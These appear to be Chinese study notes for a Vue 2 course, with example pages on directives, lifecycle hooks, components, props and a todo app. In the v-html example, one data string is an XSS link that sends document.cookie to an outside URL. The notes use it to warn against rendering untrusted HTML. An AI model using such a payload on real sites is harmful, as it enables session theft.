arr.sort((a,b)=>{
return b-a; //第二个参数减去第一个参数 降序
})
console.log(arr);
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表排序</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <ul> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺序</button> <li v-for="(p,index) in filpersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} <input type="text"> </li> </ul> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 new Vue({ el:"#root", data:{ keyWord:"", //刚开始的时候为空 sortType:0, //原顺序是0, 1是降序 2是升序 persons:[ {id:'001',name:'马冬梅',age:12,sex:'女'}, {id:'002',name:'周冬雨',age:22,sex:'女'}, {id:'003',name:'周杰伦',age:34,sex:'男'}, {id:'004',name:'温兆伦',age:21,sex:'男'} ], }, computed:{ filpersons(){ const arr = this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !==-1; }) //判断是否需要排序 if(this.sortType){ arr.sort((p1,p2)=>{ //这里面的p1,p2是对象 return this.sortType ===1? p2.age-p1.age : p1.age-p2.age }) } return arr } } }) </script> </body> </html>
运行结果
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表排序</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <ul> <h2>人员列表</h2> <button @click="updataMei">更新马冬梅的信息</button> <li v-for="(p,index) in persons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 const vm = new Vue({ el:"#root", data:{ persons:[ {id:'001',name:'马冬梅',age:12,sex:'女'}, {id:'002',name:'周冬雨',age:22,sex:'女'}, {id:'003',name:'周杰伦',age:34,sex:'男'}, {id:'004',name:'温兆伦',age:21,sex:'男'} ] }, methods: { updataMei(){ /* this.persons[0].name = '马老师', this.persons[0].age = 50, this.persons[0].sex = '男' */ //上面的可以成功,但是太麻烦了 this.persons[0] ={id:'001',name:'马老师',age:59,sex:'男'} } }, }) </script> </body> </html>
当先点开控制台,再点开vue的时候
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', address:'北京', student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35} ] } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Document</title> </head> <body> <script type="text/javascript" > let data = { name:'尚硅谷', address:'北京', } //创建一个监视的实例对象,用于监视data中属性的变化 const obs = new Observer(data) console.log(obs) //准备一个vm实例对象 let vm = {} vm._data = data = obs function Observer(obj){ //汇总对象中所有的属性形成一个数组 const keys = Object.keys(obj) //遍历 keys.forEach((k)=>{ Object.defineProperty(this,k,{ get(){ return obj[k] }, set(val){ console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`) obj[k] = val } }) }) } </script> </body> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>收集表单数据</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 收集表单数据: 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。 若:<input type="checkbox"/> 1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值) 2.配置input的value属性: (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值) (2)v-model的初始值是数组,那么收集的的就是value组成的数组 备注:v-model的三个修饰符: lazy:失去焦点再收集数据 number:输入字符串转为有效的数字 trim:输入首尾空格过滤 --> <!-- 准备好一个容器--> <div id="root"> <form @submit.prevent="demo"> 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码:<input type="password" v-model="userInfo.password"> <br/><br/> 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/> 性别: 男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/> 爱好: 学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br/><br/> 所属校区 <select v-model="userInfo.city"> <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br/><br/> 其他信息: <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/> <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a> <button>提交</button> </form> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:18, sex:'female', hobby:[], city:'beijing', other:'', agree:'' } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script> </html>
运行结果
常用的内置属性
这个不常用
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-text指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 我们学过的指令: v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染(动态控制节点是否存存在) v-else : 条件渲染(动态控制节点是否存存在) v-show : 条件渲染 (动态控制节点是否展示) v-text指令: 1.作用:向其所在的节点中渲染文本内容。 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。 --> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷', str:'<h3>你好啊!</h3>' } }) </script> </html>
视频大概26分钟,看了4分钟,到时候需要的时候再看
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-html指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- v-html指令: 1.作用:向指定节点中渲染包含html结构的内容。 2.与插值语法的区别: (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意:v-html有安全性问题!!!! (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。 (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上! --> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷', str:'<h3>你好啊!</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', } }) </script> </html>
运行结果
先跳过
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-cloak指令</title> <style> [v-cloak]{ display:none; } </style> <!-- 引入Vue --> </head> <body> <!-- v-cloak指令(没有值): 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。 --> <!-- 准备好一个容器--> <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> </body> <script type="text/javascript"> console.log(1) Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-once指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- v-once指令: 1.v-once所在节点在初次动态渲染后,就视为静态内容了。 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。 --> <!-- 准备好一个容器--> <div id="root"> <!-- 这个是初始化的,不用变 --> <h2 v-once>初始化的n值是:{{n}}</h2> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script> </html>
这个就是程序员写的是就是什么,不关vue的事
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-pre指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- v-pre指令: 1.跳过其所在节点的编译过程。 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。 --> <!-- 准备好一个容器--> <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2 >当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。 自定义指令总结: 一、定义语法: (1).局部指令: new Vue({ new Vue({ directives:{指令名:配置对象} 或 directives{指令名:回调函数} }) }) (2).全局指令: Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数) 二、配置对象中常用的3个回调: (1).bind:指令与元素成功绑定时调用。 (2).inserted:指令所在元素被插入页面时调用。 (3).update:指令所在模板结构被重新解析时调用。 三、备注: 1.指令定义时不加v-,但使用时要加v-; 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。 --> <!-- 准备好一个容器--> <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是:<span v-text="n"></span> </h2> <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --> <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <input type="text" v-fbind:value="n"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //定义全局指令 /* Vue.directive('fbind',{ //指令与元素成功绑定时(一上来) bind(element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } }) */ new Vue({ el:'#root', data:{ name:'尚硅谷', n:1 }, directives:{ //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ big(element,binding){ console.log('big',this) //注意此处的this是window // console.log('big') element.innerText = binding.value * 10 }, fbind:{ //指令与元素成功绑定时(一上来) bind(element,binding){ console.log(element,binding); element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Document</title> <style> .demo{ background-color: orange; } </style> </head> <body> <button id="btn">点我创建一个输入框</button> <script type="text/javascript" > const btn = document.getElementById('btn') btn.onclick = ()=>{ const input = document.createElement('input') input.className = 'demo' input.value = 99 input.onclick = ()=>{alert(1)} document.body.appendChild(input) input.focus() // input.parentElement.style.backgroundColor = 'skyblue' console.log(input.parentElement) } </script> </body> </html>
到时候有时间再看
需求,一开始就让页面的文字得到透明度逐渐发生变化,而不是通过点击或者触发。
使用方法的实现的话
用这个,不要将定时器写再方法中,可能会导致无限的调用,造成不必要的麻烦
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>引出生命周期</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 生命周期: 1.又名:生命周期回调函数、生命周期函数、生命周期钩子。 2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。 3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。 4.生命周期函数中的this指向是vm 或 组件实例对象。 --> <!-- 准备好一个容器--> <div id="root"> <h2 v-if="a">你好啊</h2> <h2 :style="{opacity}">欢迎学习Vue</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ a:false, opacity:1 }, methods: { }, //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted mounted(){ console.log('mounted',this) setInterval(() => { this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, }) //通过外部的定时器实现(不推荐) /* setInterval(() => { vm.opacity -= 0.01 if(vm.opacity <= 0) vm.opacity = 1 },16) */ </script> </html>
生命周期的图如下所示
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>基本使用</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- Vue中使用组件的三大步骤: 一、定义组件(创建组件) 二、注册组件 三、使用组件(写组件标签) 一、如何定义一个组件? 使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别; 区别如下: 1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。 2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。 备注:使用template可以配置组件结构。 二、如何注册组件? 1.局部注册:靠new Vue的时候传入components选项 2.全局注册:靠Vue.component('组件名',组件) 三、编写组件标签: <school></school> --> <!-- 准备好一个容器--> <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr> <!-- 第三步:编写组件标签 --> <school></school> <hr> <!-- 第三步:编写组件标签 --> <student></student> </div> <div id="root2"> <hello></hello> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //第一步:创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。 data(){ return { schoolName:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.schoolName) } }, }) //第一步:创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步:创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) //第二步:全局注册组件 Vue.component('hello',hello) //创建vm new Vue({ el:'#root', data:{ msg:'你好啊!' }, //第二步:注册组件(局部注册) components:{ school, student } }) new Vue({ el:'#root2', }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>几个注意点</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 几个注意点: 1.关于组件名: 一个单词组成: 第一种写法(首字母小写):school 第二种写法(首字母大写):School 多个单词组成: 第一种写法(kebab-case命名):my-school 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持) 备注: (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。 (2).可以使用name配置项指定组件在开发者工具中呈现的名字。 2.关于组件标签: 第一种写法:<school></school> 第二种写法:<school/> 备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。 3.一个简写方式: const school = Vue.extend(options) 可简写为:const school = options --> <!-- 准备好一个容器--> <div id="root"> <h1>{{msg}}</h1> <school></school> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //定义组件 const s = Vue.extend({ name:'atguigu', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> `, data(){ return { name:'尚硅谷', address:'北京' } } }) new Vue({ el:'#root', data:{ msg:'欢迎学习Vue!' }, components:{ school:s } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>组件的嵌套</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //定义student组件 const student = Vue.extend({ name:'student', template:` <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { name:'尚硅谷', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <student></student> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, //注册组件(局部) components:{ student } }) //定义hello组件 const hello = Vue.extend({ template:`<h1>{{msg}}</h1>`, data(){ return { msg:'欢迎来到尚硅谷学习!' } } }) //定义app组件 const app = Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school, hello } }) //创建vm new Vue({ template:'<app></app>', el:'#root', //注册组件(局部) components:{app} }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>组件的嵌套</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //定义student组件 const student = Vue.extend({ name:'student', template:` <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { name:'尚硅谷', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <student></student> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, //注册组件(局部) components:{ student } }) //定义hello组件 const hello = Vue.extend({ template:`<h1>{{msg}}</h1>`, data(){ return { msg:'欢迎来到尚硅谷学习!' } } }) //定义app组件 const app = Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school, hello } }) //创建vm new Vue({ template:'<app></app>', el:'#root', //注册组件(局部) components:{app} }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>VueComponent</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 关于VueComponent: 1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。 2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象, 即Vue帮我们执行的:new VueComponent(options)。 3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!! 4.关于this指向: (1).组件配置中: data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。 (2).new Vue(options)配置中: data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。 5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。 Vue的实例对象,以后简称vm。 --> <!-- 准备好一个容器--> <div id="root"> <school></school> <hello></hello> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, methods: { showName(){ console.log('showName',this) } }, }) const test = Vue.extend({ template:`<span>atguigu</span>` }) //定义hello组件 const hello = Vue.extend({ template:` <div> <h2>{{msg}}</h2> <test></test> </div> `, data(){ return { msg:'你好啊!' } }, components:{test} }) // console.log('@',school) // console.log('#',hello) //创建vm const vm = new Vue({ el:'#root', components:{school,hello} }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>一个重要的内置关系</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。 --> <!-- 准备好一个容器--> <div id="root"> <school></school> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 Vue.prototype.x = 99 //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showX">点我输出x</button> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, methods: { showX(){ console.log(this.x) } }, }) //创建一个vm const vm = new Vue({ el:'#root', data:{ msg:'你好' }, components:{school} }) //定义一个构造函数 /* function Demo(){ this.a = 1 this.b = 2 } //创建一个Demo的实例对象 const d = new Demo() console.log(Demo.prototype) //显示原型属性 console.log(d.__proto__) //隐式原型属性 console.log(Demo.prototype === d.__proto__) //程序员通过显示原型属性操作原型对象,追加一个x属性,值为99 Demo.prototype.x = 99 console.log('@',d) */ </script> </html>
一个标准的单文件组件
School.vue
文件
<template> <div class="demo"> <h2>学校名称:{{ schoolName }}</h2> <h2>学校地址:{{ address }}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> export default ({ //为了可以让其它的文件可以引用 一般都喜欢用默认暴露 name:'School', //最好和文件名保持一致 data() { return { schoolName: "尚硅谷", address: "北京昌平", }; }, methods: { showName() { alert(this.schoolName); }, }, }); </script> <style> .demo{ background-color: aqua; } </style>
index.htm
文件
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>联系一下单组件的写法</title> </head> <body> <!-- 准备一个容器 --> <div id="root"> </div> <script src="../js/vue.js"></script> <script src="./main.js"></script> </body> </html>
main.js
文件
import App from './School.vue'
new Vue({
el:"#root",
template:`<App></App>`,
components:{
App
}
})
School.vue
文件
<template> <div class="demo"> <h2>学校名称:{{ schoolName }}</h2> <h2>学校地址:{{ address }}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> export default ({ //为了可以让其它的文件可以引用 一般都喜欢用默认暴露 name:'School', //最好和文件名保持一致 data() { return { schoolName: "尚硅谷", address: "北京昌平", }; }, methods: { showName() { alert(this.schoolName); }, }, }); </script> <style> .demo{ background-color: aqua; } </style>
Student.vue
文件
<template> <div class="demo"> <h2>学生姓名:{{ name }}</h2> <h2>学生年龄:{{ age }}</h2> </div> </template> <script> export default ({ name:'School', data() { return { name: "鲸落", age: 45, }; }, }); </script>
创建项目
├── node_modules ├── public │ ├── favicon.ico: 页签图标 │ └── index.html: 主页面 ├── src │ ├── assets: 存放静态资源 │ │ └── logo.png │ │── component: 存放组件 │ │ └── HelloWorld.vue │ │── App.vue: 汇总所有组件 │ │── main.js: 入口文件 ├── .gitignore: git版本管制忽略的配置 ├── babel.config.js: babel的配置文件 ├── package.json: 应用包配置文件 ├── README.md: 应用描述文件 ├── package-lock.json:包版本控制文件
package.json
文件
··
main.js
文件
/* 该文件是整个项目的入口文件 */ //引入Vue import Vue from 'vue' //引入App组件,它是所有组件的父组件 import App from './App.vue' //关闭vue的生产提示 Vue.config.productionTip = false /* 关于不同版本的Vue: 1.vue.js与vue.runtime.xxx.js的区别: (1).vue.js是完整版的Vue,包含:核心功能+模板解析器。 (2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。 2.因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用 render函数接收到的createElement函数去指定具体内容。 */ //创建Vue实例对象---vm new Vue({ el:'#app', //render函数完成了这个功能:将App组件放入容器中 render: h => h(App), // render:q=> q('h1','你好啊') // template:`<h1>你好啊</h1>`, // components:{App}, })
运行结果
总结:
ref属性
<h1 ref="xxx">.....</h1>
或 <School ref="xxx"></School>
this.$refs.xxx
本节用到的文件如下
简单的父组件给子组件传值的方式
本节用到是上面的两个文件
StudentStudent.vue
文件
<template> <div class="demo"> <h1>{{msg}}</h1> <h2>学校的名称:{{name}}</h2> <h2>学校地址:{{sex}}</h2> <h2>学生年龄:{{age+22}}</h2> </div> </template> <script> export default { name:'StudentStudent', data() { return { msg:"我是一个优秀的学生" } }, props:["name","sex","age"] } </script> <style> .demo{ background-color: aquamarine; } </style>
App.vue
文件
<template> <div> <StudentStudent name="小白" sex="女" age="22"/> <StudentStudent name="李百" sex="男" :age="55"/> </div> </template> <script> // 引入school组件 import StudentStudent from './components/StudentStudent' export default { name:'App', components:{StudentStudent}, } </script> <style> </style>
运行结果
限制类型的方式
更高端的方式
总结
props配置项
功能:让组件接收外部传过来的数据
传递数据:<Demo name="xxx"/>
接收数据:
第一种方式(只接收):props:['name']
第二种方式(限制类型):props:{name:String}
第三种方式(限制类型、限制必要性、指定默认值):
props:{
name:{
type:String, //类型
required:true, //必要性
default:'老王' //默认值
}
}
备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。
为什么要引入混合
如下图代码
有重复的部分,看起来很不舒服
所以有必要将它们合在一起不是更好
所以就有了这个概念
总结:
功能:可以把多个组件共用的配置提取成一个混入对象
使用方式:
第一步定义混合:
{
data(){....},
methods:{....}
....
}
第二步使用混入:
全局混入:Vue.mixin(xxx)
局部混入:mixins:['xxx']
插件在这里定义
引入插件
本节主要实现的效果如下
总共分成四个vue的组件
MyFooter.vue
MyHeader.vue
MyItem.vue
MyList.vue
<template> <div class="todo-footer"> <label> <input type="checkbox"/> </label> <span> <span></span> / 全部 </span> <button class="btn btn-danger">清除已完成任务</button> </div> </template> <script> export default { name:'MyFooter', } </script> <style scoped> /*footer*/ .todo-footer { height: 40px; line-height: 40px; padding-left: 6px; margin-top: 5px; } .todo-footer label { display: inline-block; margin-right: 20px; cursor: pointer; } .todo-footer label input { position: relative; top: -1px; vertical-align: middle; margin-right: 5px; } .todo-footer button { float: right; margin-top: 5px; } </style>
<template> <div class="todo-header"> <input type="text" placeholder="请输入你的任务名称,按回车键确认"/> </div> </template> <script> export default { name:'MyHeader', } </script> <style scoped> /*header*/ .todo-header input { width: 560px; height: 28px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; padding: 4px 7px; } .todo-header input:focus { outline: none; border-color: rgba(82, 168, 236, 0.8); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); } </style>
<template> <li> <label> <input type="checkbox"/> <span>{{todo.title}}</span> </label> <button>删除</button> </li> </template> <script> export default { name:'MyItem', // 声明接收的todo对象 props:['todo'], } </script> <style scoped> /*item*/ li { list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; } li label { float: left; cursor: pointer; } li label li input { vertical-align: middle; margin-right: 6px; position: relative; top: -1px; } li button { float: right; display: none; margin-top: 3px; } li:before { content: initial; } li:last-child { border-bottom: none; } li:hover{ background-color: #ddd; } li:hover button{ display: block; } </style>
<template> <ul class="todo-main"> <MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj"/> </ul> </template> <script> import MyItem from './MyItem' export default { name:'MyList', components:{MyItem}, data() { return { todos:[ {id:'0001',title:'吃饭',deno:true}, {id:'0002',title:'喝酒',deno:false}, {id:'0003',title:'开车',deno:true}, ] } }, } </script> <style scoped> /*main*/ .todo-main { margin-left: 0px; border: 1px solid #ddd; border-radius: 2px; padding: 0px; } .todo-empty { height: 40px; line-height: 40px; border: 1px solid #ddd; border-radius: 2px; padding-left: 5px; margin-top: 10px; } </style>
<template> <div id="root"> <div class="todo-container"> <div class="todo-wrap"> <MyHeader/> <MyList/> <MyFooter/> </div> </div> </div> </template> <script> import MyHeader from './components/MyHeader' import MyList from './components/MyList' import MyFooter from './components/MyFooter.vue' export default { name:'App', //自己的名字 components:{MyHeader,MyList,MyFooter}, } </script> <style> /*base*/ body { background: #fff; } .btn { display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); border-radius: 4px; } .btn-danger { color: #fff; background-color: #da4f49; border: 1px solid #bd362f; } .btn-danger:hover { color: #fff; background-color: #bd362f; } .btn:focus { outline: none; } .todo-container { width: 600px; margin: 0 auto; } .todo-container .todo-wrap { padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style>
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false
//创建vm
new Vue({
el:'#app',
render: h => h(App)
})
动态确定勾选谁
需求:在在输入框中输入内容的时候,按回车就会把内容添加到列表里面。
第一阶段在输入框中输入内容
运行结果
拓展
在本节需要使用到id,因此引入了一个库,它可以随机的生成不重复的id
导入它的方式:
下载它的方式如下
总结:在这里面实现了输入并存放数据的功能,本节主要使用知识点有
@keyup.enter="add"
通过点击键盘中的每一个键触发,这里使用的是回车键e.target.value
获取输入框输入的值id
库nanoid
的下载和使用
本次动了下面的三个文件
Myheader.vue
Mylist.vue
App.vue
App.vue
将数据通过props传给Mylist.vue
组件,然后App.vue
组件通过传递一个函数给Myheader.vue
